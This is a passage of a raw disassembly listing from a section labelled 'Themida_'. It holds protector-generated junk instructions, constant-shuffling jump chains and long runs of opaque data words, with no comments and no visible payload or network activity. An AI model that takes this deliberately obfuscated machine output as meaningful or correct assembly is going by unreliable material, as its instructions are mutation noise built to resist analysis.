0CA293D7Bh, 0E9240C8Bh, 0FFFFDA30h dd 8359C829h, 1C8904ECh, 299ABB24h, 0D8012749h, 8ACDE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560612: ; CODE XREF: Themida_:00562E13j add esp, 4 xor edi, 1CE01681h add edx, edi pop edi push ecx mov ecx, 765D6CDBh shr ecx, 5 shl ecx, 2 push esi push 3C0B3040h pop esi dec esi push ebx mov ebx, 2C0B2A2Ch jmp loc_559BC9 ; --------------------------------------------------------------------------- dd 0D254E6BBh, 58CB8160h, 8130D459h, 7F2415F3h, 0A5E944h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560656: ; CODE XREF: Themida_:00561AF8j push ecx mov ecx, 554947EEh xor ecx, 554947EAh add edx, ecx pop ecx sub edx, 4 jmp loc_5512CF ; --------------------------------------------------------------------------- dd 9A8EE81h, 0C281AFB0h, 27A04CC4h, 0BF57F229h, 0B8A20A0h dd 0D3DCBB53h, 0DF29E3E9h, 0E9241C8Bh, 0FFFF2BF8h ; --------------------------------------------------------------------------- loc_560694: ; CODE XREF: Themida_:0056085Ej pop edx jmp loc_553E5F ; --------------------------------------------------------------------------- dw 9DB1h dd 70E9C9FEh, 8BFFFFF5h, 0E9562404h, 0FFFF18F2h, 0D337840Fh dd 8951FFFFh, 4C181E1h, 81000000h, 4E9h, 240C8700h, 0E924248Bh dd 0FFFF3AB1h ; --------------------------------------------------------------------------- loc_5606CC: ; CODE XREF: Themida_:00553BA8j add eax, 1 push eax not dword ptr [esp] pop eax add eax, 6A366BB7h xor ecx, eax pop eax and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 or eax, eax jmp loc_55DF4A ; --------------------------------------------------------------------------- loc_5606F1: ; CODE XREF: Themida_:00555BB6j mov edx, 8E34427h jmp loc_54FE6D ; --------------------------------------------------------------------------- db 81h dd 826514E3h, 0BAEB814Eh, 0E951AF32h, 4018h ; --------------------------------------------------------------------------- loc_56070C: ; CODE XREF: Themida_:00554847j sub esp, 4 mov [esp], ebp mov ebp, 771A53AEh xor ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_561FDD ; --------------------------------------------------------------------------- loc_560727: ; CODE XREF: Themida_:0055968Fj and ecx, esi mov esi, [esp] push 10h mov [esp], eax mov eax, esp jmp loc_562852 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 5C243C87h, 7C0368h, 240C8900h, 6309B850h dd 0C1895E08h, 0EBC78158h, 296B4D44h, 0EBEF81CFh, 0E96B4D44h dd 0FFFFFE73h, 5C240487h, 4C581h, 0E9550000h, 0FFFFCD6Bh ; --------------------------------------------------------------------------- loc_56077C: ; CODE XREF: Themida_:0055CF42j mov ebp, 0 sub ebp, edi mov edi, ebp push dword ptr [esp] pop ebp push ebx mov ebx, esp jmp loc_560F02 ; --------------------------------------------------------------------------- db 1, 0D1h, 5Ah dd 5259C831h, 8C2FFEBAh, 3E2C103h, 0CDCA814Ah, 8107587Eh dd 0E1E4DF2h, 5AD30107h, 0FF7606E9h, 2A56BEFFh, 0E6817069h dd 1B464EECh, 0F5C0C681h, 56E9EFBFh, 5CFFFF7Bh, 1048E9h dd 59CD0100h, 5224048Bh, 0C281E289h, 4, 8704C283h, 895C2414h dd 615D306Ah, 0FF6458E9h, 54C781FFh, 817C5555h, 687C48C7h dd 81DF015Dh, 687C48EFh, 54EF815Dh, 817C5555h, 0D81D3DC7h dd 0F8015B7Fh, 32EB815Fh, 5516077Eh, 76596268h, 0EC835D2Eh dd 242C8904h, 212A1CBDh, 8FED8162h, 810151D7h, 200F6AEBh dd 41C3817Eh, 1542D3Fh, 7F57E9EBh, 965EFFFFh, 0FF0761E9h db 0FFh ; --------------------------------------------------------------------------- loc_56084D: ; CODE XREF: Themida_:00555135j shr edx, 6 not edx push ebx push 98374CA2h pop ebx sub edx, ebx pop ebx sub ecx, edx jmp loc_560694 ; --------------------------------------------------------------------------- db 45h dd 275EC581h, 2DE9DDACh, 66FFFF0Ah, 0D83166ADh, 6E7568h dd 241C8900h, 5FF668h, 24048900h, 50366866h, 0ECE95866h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56088F: ; CODE XREF: Themida_:0055770Fj push edx mov dh, 0F3h add dh, 0BEh add dh, 0FFh dec dh push ecx mov cl, 45h dec cl sub cl, 27h or cl, 97h sub cl, 44h or dh, cl pop ecx inc dh add dh, 6 add bh, dh pop edx add al, bh pop ebx push esi mov esi, esp jmp loc_55001F ; --------------------------------------------------------------------------- dw 8766h dd 6F2DE9FBh, 3C89FFFFh, 5B79BF24h, 0C78133FAh, 728D0184h dd 668E781h, 0D7F73F97h, 4610C781h, 8FE93C04h, 5EFFFF40h dd 6D8AC381h, 2F684346h, 89000028h, 52512404h, 1E0F92BAh dd 0FC3B906h, 0D1015456h, 0E981415Ah, 4EC179CEh, 0A292E981h dd 5CE99F45h, 0BFFFFFA9h, 781B09B8h, 38D9EE81h, 0FE011865h dd 38D9C681h, 59E91865h, 81FFFEF0h, 1865242Ch, 55830DEh dd 30DE1865h, 0FF98BAE9h, 0E9DD29FFh, 0FFFFBAF9h, 78E66857h dd 0F75F2041h, 0D7F747D7h, 9FC78147h, 894DFCCEh, 243C8BFBh dd 4C481h, 0D3F70000h, 0FF7554E9h, 0DAF75AFFh, 69C3EA81h dd 0C5813FCAh, 352C7907h, 0ED81D501h, 352C7907h, 0AFEDE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56098A: ; CODE XREF: Themida_:005545BFj push ecx mov ecx, 73360CD6h or ecx, 312575B2h jmp loc_556212 ; --------------------------------------------------------------------------- db 54h dd 0FFD29AE9h, 33E952FFh, 0FFFFFF0Fh, 8B042474h, 89572404h dd 4C781E7h, 0E9000000h, 0FFFF9E19h ; --------------------------------------------------------------------------- loc_5609BC: ; CODE XREF: Themida_:0055B16Fj sub ecx, 2EB73952h pop edi jmp loc_55106F ; --------------------------------------------------------------------------- loc_5609C8: ; CODE XREF: Themida_:00552061j jnz loc_55BE81 push 2969h jmp loc_55490B ; --------------------------------------------------------------------------- dd 56F9F681h, 0F3890274h, 0CBF575Eh, 81065F47h, 95765FC7h dd 81474F7Fh, 787773C7h, 8BFB29F4h, 0C481243Ch, 4, 34FFD901h dd 86CE924h, 48400000h, 0FF9202E9h, 3BE66FFh, 66526620h dd 6688EABAh, 5A66D189h, 5EF12966h, 6C870566h, 0FFC787E9h db 0FFh ; --------------------------------------------------------------------------- loc_560A2D: ; CODE XREF: Themida_:00559F5Bj push eax mov eax, 341376EBh and eax, 23ED2B90h neg eax add eax, 0FFFFFFFFh not eax push eax jmp loc_55B139 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 0FFFF64CEh, 889DED80h, 0D32859EAh, 0C3E95A66h dd 5000038h, 4, 0E904C083h, 0FFFF347Ch, 56E18951h, 4BEh dd 5EF10100h, 4C181h, 2AE90000h, 83FFFF25h, 0F5E904C4h dd 83FFFEFDh, 348904ECh, 0BE565324h, 0F864A94h, 17E9F389h dd 66FFFFA2h, 0E9CCB60Fh, 2650h, 4BF57h, 0C3810000h, 2A817B1Eh dd 0B850FB01h, 5D0C37FEh, 0FFF005E9h, 3AE952FFh, 8BFFFF4Ch dd 48F2424h, 24248B24h, 0C8E9F9F6h, 5AFFFFFFh, 4C281h dd 0EA830000h, 24148704h, 243C895Ch, 4BFh, 4E240500h, 0E9577AB8h dd 0FFFFC5F0h ; --------------------------------------------------------------------------- loc_560AF8: ; CODE XREF: Themida_:00555367j add esp, 4 jmp loc_561100 ; --------------------------------------------------------------------------- dd 24343359h, 33243431h, 29E92434h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B0F: ; CODE XREF: Themida_:00563684j push edx mov edx, 62201AB7h mov ecx, edx pop edx xchg ebp, ecx not ebp push ecx push ebp pop ecx pop ebp shr ecx, 5 push edi mov edi, 551C2046h jmp loc_5637E6 ; --------------------------------------------------------------------------- dw 57B8h dd 483EC653h, 0FF50FCE9h, 0E95745FFh, 0FFFF7027h, 0C15BDA89h dd 0C28308EAh, 3E2C1FFh, 1E9A68h, 240C8900h, 0FFD369E9h dd 3DE956FFh, 55000010h, 6D76F3BDh, 0E6C5816Eh, 810DBA28h dd 0C16B4FEDh, 3EDC16Ah, 0E906EDC1h, 0FFFF4507h, 0C381D301h dd 45E66A84h, 5BDD015Ah, 1D9DE9h, 24D0F600h, 682E2C05h dd 56E2h, 0B1240C89h, 8E1C05Eh, 2870C180h, 0C30059CBh dd 5870C380h, 7B5F68h, 240C8900h, 0CD801BB5h, 402EE9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560BBE: ; CODE XREF: Themida_:0055F18Aj mov [esp], ecx push eax mov al, 3Fh jmp loc_55A1CB ; --------------------------------------------------------------------------- loc_560BC9: ; CODE XREF: Themida_:0055D505j pop ecx jmp loc_55E4E7 ; --------------------------------------------------------------------------- loc_560BCF: ; CODE XREF: Themida_:0055F9A3j xor edx, [esp] mov esp, [esp] jmp loc_553EF0 ; --------------------------------------------------------------------------- dw 0C483h dd 7726804h, 0C890000h, 0FAE3E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560BEA: ; CODE XREF: Themida_:0055ED5Dj push esi push esp pop esi push ecx jmp loc_558C06 ; --------------------------------------------------------------------------- db 2Dh dd 2C3C73D5h, 0E6BE565Ah, 81144F4Eh, 0DF2BD3E6h, 0EA1FE90Eh dd 0E959FFFFh, 0FFFF91ABh, 83242489h, 58042404h, 7C19BF57h dd 0DFF76422h, 1375CF81h, 0BE564415h, 6C300F96h, 0FF7867E9h dd 6F281FFh, 596E3858h, 6A84EB81h, 39E945E6h, 5CFFFFFFh dd 51C8AF0Fh, 0C802E99Ch, 0C145FFFFh, 0CE908E5h, 0DFFFFFCh dd 47F314A0h, 2C6FB951h, 0E1817E77h, 406E53D1h, 0FFFFC181h dd 0E981FFFFh, 67751331h, 0C8BC801h, 4C48324h, 8B58C301h dd 77E9243Ch db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C87: ; CODE XREF: Themida_:00556354j add esi, 4 push edi mov edi, 4 sub esi, edi jmp loc_562350 ; --------------------------------------------------------------------------- loc_560C9A: ; CODE XREF: Themida_:0054FC87j sub ebx, 159725AEh mov ecx, [esp] add esp, 4 push edi mov edi, 4 jmp loc_55ED80 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C3h dd 1039386Fh, 0EB81F329h, 1039386Fh, 8124348Bh, 4C4h, 2C38100h dd 8159ABDBh, 875BCDE9h, 0E9D90107h, 0FFFF9E62h, 8324048Bh dd 0C38004C4h, 80C300A9h, 0EB80A9EBh, 59545138h, 1132E952h dd 0FF5A0000h, 50592434h, 15E9E089h, 5FFFFFEBh, 0F1BA5249h dd 0E908A176h, 0FFFF4C43h ; --------------------------------------------------------------------------- loc_560D10: ; CODE XREF: Themida_:0055782Ej mov edi, 4E395194h add edi, 737933FEh add edi, 70F3D8A4h mov esi, edi pop edi shl esi, 5 jmp loc_5562A5 ; --------------------------------------------------------------------------- loc_560D2C: ; CODE XREF: Themida_:005561E1j sub edx, 90782A2Ch sub ebx, edx pop edx xor ebp, ebx pop ebx xor ebp, 0AFAB9E7h and eax, ebp jmp loc_5545D0 ; --------------------------------------------------------------------------- db 0B0h, 0EEh, 0 dd 0B58CE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D4E: ; CODE XREF: Themida_:00556F34j pop esp add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_55E04D ; --------------------------------------------------------------------------- db 55h dd 156E46BDh, 6E42B948h, 68E94815h, 81FFFF01h, 4D55BAEBh dd 0A9CB813Ch, 0C1291026h, 0F38108E3h, 1246F306h, 295BDA29h dd 53D668C2h, 0C890000h, 53336824h, 14890000h, 44ECE924h dd 4ABEFFFFh, 0F76F7152h, 0AFE681D6h, 0F708B10Ch, 0F7D6F7D6h dd 0FDEE81DEh, 1CD0CF2h, 0C5815EF5h, 21B7F90h, 0ED81D501h dd 21B7F90h, 5EED81h, 505A3273h, 405E089h, 55000000h, 0FF57E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_560DE1: ; CODE XREF: Themida_:00557785j push 3975h jmp loc_56055C ; --------------------------------------------------------------------------- db 81h dd 0BCF09AF7h, 5FFD89FBh, 3049E9h db 0 ; --------------------------------------------------------------------------- loc_560DF9: ; CODE XREF: Themida_:0056255Dj sub dword ptr [esp], 67E961B9h pop ebx push eax mov eax, 67E961B9h add ebx, eax jmp loc_563907 ; --------------------------------------------------------------------------- a_hr db '_h^',0 align 4 dd 0BD242C89h, 4, 20C86855h, 28E90000h, 89FFFF0Fh, 79B22414h dd 665AD300h, 6607C568h, 0B0240489h, 66C10003h, 80D92858h dd 8BE903E9h, 0F600001Ah, 86FD86D7h, 0B5E9242Ch, 0BE00001Ah dd 0BB45C25h, 575EF131h, 0A06793BFh, 86C78124h, 1264840h dd 607EE9F9h, 0C483FFFFh, 4E98304h, 2474FF51h, 48F5904h dd 24248B24h, 17FBE9h, 4C68300h, 0E9243487h, 8D2h, 0BA241489h dd 3A5C53F6h, 5704E2C1h, 1BFh, 0E9FA2900h, 0FFFF0B9Dh dd 0CD4A3ABEh, 5EF22129h, 5801C281h, 0E9573C28h, 0FFFF7118h dd 8904EC83h, 7AB3241Ch, 5BD828h, 5A7A04F0h, 9D68C330h dd 8900002Ah, 0C388241Ch, 0FF0555E9h db 0FFh ; --------------------------------------------------------------------------- loc_560EDD: ; CODE XREF: Themida_:00553F32j pop eax xchg ebx, [esp] pop esp add ebp, 11DA3AD1h pop eax dec ebp sub esp, 4 mov [esp], edx push edi push 463D4765h pop edi jmp loc_562497 ; --------------------------------------------------------------------------- dd 0F2AAE953h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560F02: ; CODE XREF: Themida_:0056078Cj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56171F ; --------------------------------------------------------------------------- dd 24048157h, 2A1809A3h, 0FF8071E9h db 0FFh ; --------------------------------------------------------------------------- loc_560F21: ; CODE XREF: Themida_:0055106Aj neg ch dec ch or ch, 0BAh push dx mov dl, 1Ch jmp loc_556480 ; --------------------------------------------------------------------------- aISl4 db 'L4',0 align 4 dd 0F189C689h, 5E2434FFh, 4C481h, 81580000h, 854045F1h dd 31F9312Dh, 0F7F931CFh, 0F7F987D7h, 0C18141D1h, 4B1E2545h dd 7DB5BD55h, 0C1457B1Bh, 814505EDh, 0F60DAEEDh, 17C5810Eh dd 0E95919DFh, 0AF9h, 895FF931h, 895759CAh, 4C781E7h, 83000000h dd 3C8704EFh, 3A40E924h, 0E9500000h, 0FFFFE3AFh ; --------------------------------------------------------------------------- loc_560F9C: ; CODE XREF: Themida_:005522EBj push dword ptr [esp] push dword ptr [esp] pop eax push edx push 69F5h jmp loc_55E363 ; --------------------------------------------------------------------------- loc_560FAE: ; CODE XREF: Themida_:00558F0Ej neg edx jmp loc_5568DC ; --------------------------------------------------------------------------- db 2Dh, 62h, 79h dd 0A20575CBh, 2918A672h, 9C7AE9D8h, 0E2C1FFFFh, 62EA8104h dd 89C9DBF5h, 0A7E95AD6h, 81FFFF55h, 4C4h, 24148B00h, 0FF3FD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_560FE5: ; CODE XREF: Themida_:005518D5j mov ecx, 4 add edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55DED8 ; --------------------------------------------------------------------------- loc_560FFB: ; CODE XREF: Themida_:0055795Dj mov [esp], edx mov edx, 3B635CA3h not edx push 0 sub [esp], edx pop edx jmp loc_550CFD ; --------------------------------------------------------------------------- db 88h dd 12E952F0h, 87FFFF98h, 0E95C242Ch, 0FFFF9EFEh, 8904EC83h dd 0EC832414h, 240C8904h, 416CBB53h, 0CDB92D83h, 0E9D691DEh dd 0FFFEEF7Fh ; --------------------------------------------------------------------------- loc_561040: ; CODE XREF: Themida_:005627BFj mov edi, 5E0D6E1Dh sub edi, 5E0D6E19h jmp loc_557E14 ; --------------------------------------------------------------------------- dd 5719BA52h, 0EDE9648Bh, 83FFFF0Fh, 48904ECh, 4FC6824h dd 0F75800F4h, 6E8C1D8h, 37E6E9h, 0C1EE8100h, 0E97A3970h dd 0FFFF2C39h, 8B2434FFh, 8957240Ch, 0CDE955E7h, 31FFFFA9h dd 0E0E92414h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561093: ; CODE XREF: Themida_:005576AFj pop esp add ebx, ecx push eax mov eax, 76482FB3h xor eax, 7CF469CCh jmp loc_55BF2A ; --------------------------------------------------------------------------- aXiYzps4 db 'XYZP4',0 db 0 ; --------------------------------------------------------------------------- loc_5610B1: ; CODE XREF: Themida_:0055F4BEj pop esp push ecx jmp loc_55E119 ; --------------------------------------------------------------------------- dd 0D32E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610BE: ; CODE XREF: Themida_:005628ABj push ecx mov ecx, 664219F1h dec ecx sub ecx, 17FE2FB6h inc ecx not ecx jmp loc_55B281 ; --------------------------------------------------------------------------- loc_5610D3: ; CODE XREF: Themida_:0055C2CEj mov ebx, 45AD7BB5h jmp loc_552E4F ; --------------------------------------------------------------------------- db 2Dh, 0D4h, 2 dd 0D82976D4h, 0D402D405h, 4875B76h, 24248B24h, 81242489h dd 42404h, 0E9590000h, 0FFFFD83Dh ; --------------------------------------------------------------------------- loc_561100: ; CODE XREF: Themida_:00560AFBj push dword ptr [esp] mov ecx, [esp] add esp, 4 push 6821h mov [esp], ebx mov ebx, esp push ebp mov ebp, 609B1B44h xor ebp, 9EB0968h add ebp, 968FEDD8h add ebx, ebp jmp loc_551D36 ; --------------------------------------------------------------------------- loc_56112C: ; CODE XREF: Themida_:0056489Cj add ebx, 1 add ebx, 67BB0C98h jmp loc_552B3B ; --------------------------------------------------------------------------- dw 1C89h dd 7143BB24h, 0EB817936h, 39245A9Bh, 0CB81D3F7h, 73232161h dd 0B5CE9h db 0 ; --------------------------------------------------------------------------- loc_561155: ; CODE XREF: Themida_:00557951j add eax, 4 xchg eax, [esp] pop esp mov esi, [esp] jmp loc_55B9A2 ; --------------------------------------------------------------------------- loc_561166: ; CODE XREF: Themida_:0055D769j push 410F7BE9h pop eax jmp loc_555564 ; --------------------------------------------------------------------------- loc_561171: ; CODE XREF: Themida_:005632B6j sub ecx, 2E6C2920h push ecx jmp loc_55785C ; --------------------------------------------------------------------------- loc_56117D: ; CODE XREF: Themida_:005601F8j inc ebx sub ebx, 22C41ECAh jmp loc_55224C ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 0E9000000h, 0FFFF6A34h, 0CBBC581h, 57531AE7h, 160BA7BFh dd 0E51CE950h, 405FFFFh, 83000000h, 2E6802C0h, 89000010h dd 74FF2404h, 34FF0424h, 89525824h, 4BF57E2h, 1000000h dd 0C2815FFAh, 4, 5C241487h, 8B24048Fh, 0F662424h, 9C2404B3h dd 0FEE631E9h, 4C481FFh, 59000000h, 815EF129h, 0DF508EC1h dd 87BF572Ch, 473B0171h, 1B46F781h, 0CAE96219h, 8BFFFF8Ah dd 0F662424h, 9C2404BBh, 0FEE601E9h, 0B95152FFh, 603579DBh dd 4EC26DBAh, 59CA01E0h, 41BAC181h, 0E9813983h, 1218010Dh dd 0C181D129h, 1218010Dh, 41BAE981h, 34E93983h, 52FFFF1Fh dd 2BD55h, 0EA890000h, 0E9242C8Bh, 26D6h, 24048B66h, 0FF28AAE9h dd 242C33FFh, 3979E9h, 4EC8300h, 51242C89h, 0C7375CB9h dd 0EE2CE968h, 835BFFFEh, 0E95304C4h, 0FFFF235Fh ; --------------------------------------------------------------------------- loc_561280: ; CODE XREF: Themida_:005591C6j xor edx, [esp] pop esp sub esp, 4 mov [esp], edi push esp push dword ptr [esp] jmp loc_5538E2 ; --------------------------------------------------------------------------- loc_561293: ; CODE XREF: Themida_:00555FD1j mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sub esp, 4 mov [esp], edi push ebx jmp loc_55A30E ; --------------------------------------------------------------------------- dw 0EA81h dd 4, 5C241487h, 0BA241489h, 4, 0EB0EF81h, 0C7813CF9h dd 10BD6EF4h, 51E9D701h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5612D7: ; CODE XREF: Themida_:0055B687j not esi inc esi sub esi, 0FEEA8483h mov edx, esi pop esi add edx, 1 jmp loc_550D44 ; --------------------------------------------------------------------------- loc_5612EB: ; CODE XREF: Themida_:0055F2F8j mov ebp, [esp] add esp, 4 add esi, ecx pop ecx add esi, 4 xchg esi, [esp] mov esp, [esp] push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push 1887h mov [esp], ebp sub esp, 4 mov [esp], eax jmp loc_550702 ; --------------------------------------------------------------------------- dd 0BE243489h, 41EB0498h, 57D6F74Eh, 0FE5EFBBFh, 0CEC68180h dd 0E96F0809h, 0FFFF1AB8h, 2B850h, 0C3290000h, 582434FFh dd 0ECA8E950h, 0C0FEFFFEh, 0E903E8C0h, 0FFFFB826h ; --------------------------------------------------------------------------- loc_561360: ; CODE XREF: Themida_:0056182Fj add esp, 4 and eax, edx push dword ptr [esp] push dword ptr [esp] pop edx push edx mov edx, esp jmp loc_55EBE1 ; --------------------------------------------------------------------------- db 31h dd 241C8BDAh, 4C481h, 0D2F70000h, 7BADEA81h, 0C2813065h dd 1E8222A9h, 0FF9528E9h, 241489FFh, 0DABE9h, 24048B00h dd 4C481h, 0D5F70000h, 78E95545h db 0EBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5613AF: ; CODE XREF: Themida_:00551E74j mov [esp], edx jmp loc_560010 ; --------------------------------------------------------------------------- loc_5613B7: ; CODE XREF: Themida_:00557A26j shl edi, 4 inc edi push eax mov eax, 53E169EEh xor eax, 3AC08EF3h sub edi, eax jmp loc_555111 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 31h dd 0E9F231D6h, 0FFFEFAB9h ; --------------------------------------------------------------------------- loc_5613D8: ; CODE XREF: Themida_:0054FAC4j sub esp, 4 mov [esp], edx push 1 mov edx, [esp] jmp loc_55673F ; --------------------------------------------------------------------------- a_hF db '_hf',0 dd 24348900h, 8C16EBBEh, 0E9F02957h, 0FFFF7364h ; --------------------------------------------------------------------------- loc_561400: ; CODE XREF: Themida_:0056351Aj mov esi, ebx pop ebx or ebp, esi pop esi push ecx mov ecx, 12AF3DA9h or ebp, ecx mov ecx, [esp] push edi mov edi, esp jmp loc_5518CE ; --------------------------------------------------------------------------- db 56h, 0E9h, 0EEh dd 0F7FFFF05h, 0E99C241Ch, 0FFFEE3EEh, 52242489h, 4BAh dd 24540100h, 5585A04h, 4, 8702C083h, 665C2404h, 0E924048Fh dd 0FFFFA33Ah, 0E872E95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561452: ; CODE XREF: Themida_:0055D0E3j mov [esp], edi jmp loc_55AEEB ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4BB53h, 0DA290000h, 0E9241C8Bh, 1B53h, 8106E1C1h dd 774C84F1h, 37F3E977h, 0A1BB0000h, 0F7615527h, 0E9EB87DBh dd 0FFFFBDDCh, 5B240487h, 8107E3C1h, 1CC7EFEBh, 0DD8955FAh dd 0FFB537E9h, 6A6905FFh, 0D001263Bh, 3B6A692Dh, 4EC8126h dd 0E9000000h, 0FFFF14DEh, 38CB9EBFh, 275FE960h, 0F751FFFFh dd 50592414h, 0B8h, 0CCBD5500h, 0F7739C51h, 98F581D5h dd 52272B42h, 48C8BB53h, 5FBA7C63h, 0E910614Dh, 0FFFFFE8Bh dd 241CF753h, 0D8F3815Bh, 29CCE9D0h, 94E95BDAh, 81FFFEF1h dd 9DBB61C3h, 48153D9h, 124h, 0EC815B00h, 4, 57243489h dd 0B55C8CBFh, 0E50DE92Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561522: ; CODE XREF: Themida_:00553B4Aj xchg ebp, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push dword ptr [esp] pop edx push 5E11h mov [esp], eax jmp loc_557E85 ; --------------------------------------------------------------------------- db 89h dd 89562404h, 4C681E6h, 81000000h, 4EEh, 24348700h, 242C895Ch dd 5A64BA52h, 9BD04EAh, 0E923E765h, 0FFFFF5CDh ; --------------------------------------------------------------------------- loc_56156C: ; CODE XREF: Themida_:00562C89j xchg ebp, [esp] mov esp, [esp] jmp loc_555EDA ; --------------------------------------------------------------------------- db 89h dd 8956241Ch, 4C681E6h, 83000000h, 348704EEh, 14895C24h dd 61B1E924h, 0EC83FFFFh, 0C358E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56159A: ; CODE XREF: Themida_:00559E1Dj mov [esp], ebx jmp loc_55EAD2 ; --------------------------------------------------------------------------- loc_5615A2: ; CODE XREF: Themida_:0054FDAEj xchg edx, [esp] jmp loc_55A675 ; --------------------------------------------------------------------------- loc_5615AA: ; CODE XREF: Themida_:0055CEBBj pop ebx pop dword ptr [esp] pop esp mov [esp], edi mov edi, 74FB60BAh shl edi, 7 jmp loc_55B459 ; --------------------------------------------------------------------------- db 89h dd 4B9240Ch, 81000000h, 3970C1C6h, 0E9CE017Ah, 0FFFFFA9Dh ; --------------------------------------------------------------------------- loc_5615D4: ; CODE XREF: Themida_:00553D70j push 2C34h jmp loc_5503D1 ; --------------------------------------------------------------------------- loc_5615DE: ; CODE XREF: Themida_:0055EED2j pop ecx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push edx push ebp mov ebp, 6F3E0F58h push eax jmp loc_564E18 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 188168h, 242C8900h, 0FFD0A1E9h, 59CE31FFh, 5946C381h dd 0F30155CBh, 5946EB81h, 815E55CBh, 4C3h, 74FF5300h, 0E8E90424h dd 2DFFFF78h, 32911A5h, 5DAFBA52h, 0EA816A5Eh, 45DA3ADDh dd 613C281h, 0EA816850h, 1A321FACh, 546EE281h, 0F28143D9h dd 3AE62B2Ah, 7C1BC205h, 2DD0010Ah, 0A7C1BC2h, 7CBD555Ah dd 291DE46Ch, 3890E9E8h, 0CD89FFFFh, 0FF8D68E9h, 4C281FFh dd 81000000h, 4C2h, 7C20E900h, 815BFFFFh, 2C7BD1E3h, 22E9574Fh dd 0BDFFFF19h, 18F2314Bh, 0E831C531h, 0D0F7C531h, 0E831C531h dd 0EC83C531h, 240C8904h, 7E23F6B9h, 0FEC18132h, 0E91AAC13h dd 0FFFF6581h, 4BEh, 83BEE900h, 0E95AFFFFh, 27FBh, 53C1E95Eh dd 0EF83FFFFh, 243C8704h, 8924248Bh, 0C3B9240Ch, 8107681Bh dd 681BC7F1h, 47C68107h, 8177674Dh, 0A04F80EEh, 81CE016Ah dd 0A04F80C6h, 6919686Ah, 4890000h, 4BBE5624h, 56667969h dd 0FFF21EE9h db 0FFh ; --------------------------------------------------------------------------- loc_561711: ; CODE XREF: Themida_:00554969j pop ebx mov bl, ah push dword ptr [esp] pop eax push eax push esp jmp loc_553F37 ; --------------------------------------------------------------------------- loc_56171F: ; CODE XREF: Themida_:00560F0Fj push edi jmp loc_562032 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 77BF243Ch dd 0E9623D26h, 0FFFFEE27h, 8101C283h, 0B6044BCAh, 0EA81420Fh dd 0F4441A37h, 15AD529h, 0F41E9EBh, 8F5CFFFFh, 248B2404h dd 0C8BE0F24h, 60A968h, 240C8900h, 0FEE09DE9h, 59EB88FFh dd 525BD830h, 0E9C38853h, 0FFFF3C65h ; --------------------------------------------------------------------------- loc_561788: ; CODE XREF: Themida_:00563A16j mov [esp], ebx mov ebx, 29936303h mov edx, ebx pop ebx jmp loc_556368 ; --------------------------------------------------------------------------- loc_561798: ; CODE XREF: Themida_:00552432j sub esp, 4 mov [esp], edi push esi push 6107033Bh pop esi add esi, 0EEA1003Bh jmp loc_5519A1 ; --------------------------------------------------------------------------- db 2Dh dd 1DB01CF6h, 755B802Dh, 5D82909h, 9755B80h, 0B01CF605h dd 0F2EBE91Dh, 0DDF7FFFEh, 8104E5C1h, 3D5685CDh, 0ACED814Eh dd 81050A56h, 7F954CC5h, 8BEB0129h, 0C481242Ch, 4, 8124348Bh dd 4C4h, 61C38100h, 8104B600h, 3A256BEBh, 81C3292Bh, 3A256BC3h dd 61EB812Bh, 5104B600h, 0FF3B82E9h, 242489FFh, 4240483h dd 0FF415BE9h db 0FFh ; --------------------------------------------------------------------------- loc_561825: ; CODE XREF: Themida_:005646E8j add edx, 713A467Ah push dword ptr [esp] pop ecx jmp loc_561360 ; --------------------------------------------------------------------------- dd 6624248Bh, 6866E1F7h, 22E966E8h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561843: ; CODE XREF: Themida_:00563071j push ebx mov ebx, edi mov esi, ebx pop ebx jmp loc_55C39F ; --------------------------------------------------------------------------- loc_56184E: ; CODE XREF: Themida_:00555D3Bj push esp jmp loc_550D38 ; --------------------------------------------------------------------------- dd 0BBE9028Fh, 0FFFFFEDFh, 5F042474h, 0FF118EE9h, 0C58158FFh dd 4, 0E9242C33h, 0FFFF53A2h, 0FEDF9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_561879: ; CODE XREF: Themida_:0055BECAj pop edx pop ebx jmp loc_54F816 ; --------------------------------------------------------------------------- dd 0B4D1E950h, 0E9C3FFFFh, 0FFFF5BD0h ; --------------------------------------------------------------------------- loc_56188C: ; CODE XREF: Themida_:005527C0j pop eax push 486h 